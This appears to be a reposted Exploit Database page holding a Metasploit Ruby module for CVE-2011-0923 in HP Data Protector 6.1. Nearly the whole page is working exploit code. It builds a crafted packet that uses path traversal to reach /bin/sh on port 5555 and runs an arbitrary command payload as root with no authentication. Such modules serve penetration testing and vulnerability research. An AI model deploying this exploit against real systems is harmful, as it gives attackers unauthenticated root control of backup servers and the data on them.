HP Data Protector 6.1 – EXEC_CMD Remote Code Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-02-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18521/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'=> 'HP Data Protector 6.1 EXEC_CMD Remote Code Execution',
  			'Description' => %q{
  				This exploit abuses a vulnerability in the HP Data Protector service. This
  				flaw allows an unauthenticated attacker to take advantage of the EXEC_CMD
  				command and traverse back to /bin/sh, this allows arbitrary remote code
  				execution under the context of root.
  			},
  			'Author'=>
  				[
  					'ch0ks',# poc
  					'c4an', # msf poc
  					'wireghoul' # Improved msf
  				],
  			'References'=>
  				[
  					[ 'CVE', '2011-0923'],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/'],
  					[ 'URL', 'http://c4an-dl.blogspot.com/hp-data-protector-vuln.html'],
  					[ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux']
  				],
  			'DisclosureDate'=> 'Feb 7 2011',
  			'Platform'=> [ 'unix','linux'],
  			'Arch'=> ARCH_CMD,
  			'Payload' =>
  				{
  					'Space' => 10000,
  					'DisableNops' => true,
  					'Compat'=> { 'PayloadType' => 'cmd' }
  				},
  			'Targets' =>
  				[
  					[ 'HP Data Protector 6.10/6.11 on Linux', {}]
  				],
  			'DefaultTarget' => 0
  		))
  
  		register_options([Opt::RPORT(5555),], self.class)
  	end
  
  	def exploit
  
  		user = rand_text_alpha(4)
  
  		packet = "\x00\x00\x00\xa4\x20\x32\x00\x20"
  		packet << user*2
  		packet << "\x00\x20\x30\x00\x20"
  		packet << "SYSTEM"
  		packet << "\x00\x20\x63\x34\x61\x6e"
  		packet << "\x20\x20\x20\x20\x20\x00\x20\x43\x00\x20\x32\x30\x00\x20"
  		packet << user
  		packet << "\x20\x20\x20\x20\x00\x20"
  		packet << "\x50\x6f\x63"
  		packet << "\x00\x20"
  		packet << "NTAUTHORITY"
  		packet << "\x00\x20"
  		packet << "NTAUTHORITY"
  		packet << "\x00\x20"
  		packet << "NTAUTHORITY"
  		packet << "\x00\x20\x30\x00\x20\x30\x00\x20"
  		packet << "../../../../../../../../../../"
  
  		shell_mio = "bin/sh"
  		salto = "\n"
  		s = salto.encode
  
  		shell = shell_mio
  		shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  		shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  		shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  		shell << payload.encoded
  		shell << s
  
  		sploit = packet + shell
  
  		begin
  			print_status("Sending our commmand...")
  			connect
  			sock.put(sploit)
  			print_status("Waiting ...")
  			handler
  
  			# Read command output from socket if cmd/unix/generic payload was used
  			if (datastore['CMD'])
  				res = sock.get
  				print_status(res.to_s) if not res.empty?
  			end
  
  		rescue
  			print_error("Error in connection or socket")
  		ensure
  			disconnect
  		end
  	end
  
  end